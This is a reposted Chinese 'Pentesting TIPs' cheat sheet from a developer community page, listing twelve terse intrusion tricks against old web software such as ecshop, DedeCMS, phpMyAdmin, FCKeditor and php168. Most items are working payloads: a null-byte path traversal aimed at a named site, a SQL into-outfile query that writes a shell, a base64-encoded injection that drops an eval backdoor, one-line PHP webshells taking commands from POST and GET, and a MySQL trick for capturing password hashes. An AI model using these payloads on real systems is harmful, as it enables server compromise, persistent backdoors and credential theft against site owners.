开发者社区> 技术小美> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

Pentesting TIPs

简介:
+关注继续查看

1,ecshop magic_quotes_gpc = Off /js/calendar.php?lang=../index.php%00. 注册 然后上传gif欺骗文件 http://www.lpboke.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00

 

2,dede 5.3以下 找后台 include/dialog/select_soft.php

 

3,phpmyamdin后台拿shell phpMyAdmin/sql.php?db=test&table=a&printview=1&sql_query=select%20cmd%20from+a%20into%20outfile

%20'E:\\test1.php';&display_text=F&token=dc49fb24f86a6dc2b996b5d4211cccb4

 

4,韩国某编辑器爆路径漏洞 webedit/PopupWin/Editor_InsertImage.php?upload=ok

 

5,token 漏洞补丁号 KB956572 Churrasco kb952004 传说的长老漏洞MS11-011 KB2393802

6,内网渗透时如果MYSQL不是SYSTEM启动的。。 而是由别的账号启动的话。本机开个共享,开个CAIN。。 MYSQL里面执行load_file('\\\\ip\c$\a.txt') 可以抓到目标服务器的HALF HASH.。

 

7,/fckeditor/_samples/default.html 可以找到上传后的路径

 

8,生成一句话到上级目录 <?php fputs(fopen("..".DIRECTORY_SEPARATOR."r.php","w"),"<?eval(\$_POST[r]);?>")?>

 

9,php168 member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML c.php c

 

10,执行cmd命令的php语句 <?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?> http://localhost/a.php?cmd=dir

 

11,<?fputs(fopen('heige.php','w+'),'<?php eval($_POST[cmd])?>');?>

 

12,C:\windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -i

 
 
 

Thx 末日。

 








本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/570710,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
Object类九大方法之toString方法
Object类九大方法之toString方法
20 0
重写toString()这个来自Object类的方法的意义
重写toString()这个来自Object类的方法的意义
16 0
Go 专栏|流程控制,一网打尽
最近看奥运会看的我热血沸腾,中国奥运健儿简直太棒了,不只是成绩,还有气质,精气神,全方位的棒。本章讲解流程控制。
38 0
WinForm 如何自定义开关控件
WinForm 如何自定义开关控件
279 0
详解Graph Embedding经典方法:算法原理、代码实现与应用样例
我们都知道在数据结构中,图是一种基础且常用的结构。现实世界中许多场景可以抽象为一种图结构,如社交网络,交通网络,电商网站中用户与物品的关系等。以躺平APP社区为例,它是“躺平”这个大生态中生活方式分享社区,分享生活分享家,努力打造社区交流、好物推荐与居家指南。用户在社区的所有行为:发布、点击、点赞、评论收藏等都可以抽象为网络关系图。因此Graph Embedding技术非常自然地成为学习社区中用户与内容的embedding的一项关键技术。
2816 0
使用SkinMagic Toolkit美化界面
使用该函数后,以后程序创建的对话框都将使用该皮肤,但对话框大小不可变。
1311 0
前进,乐PAD踩着TouchPad的尸体
全球PC市场份额第一的惠普发展转型,欲分离平板电脑及PC业务。而惠普的转型也给原本波澜不平的平板电脑市场带来了更多变数。   意料之外的TouchPad   虽然人们都看到了惠普的转型,但你所不知道的是,虽然惠普欲分离PC业务专注软件开发,但其TouchPad平板电脑其实是一款很受欢迎的产品。
1155 0
+关注
文章
问答
文章排行榜
最热
最新
相关电子书
更多
Practical tips for defending
立即下载
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载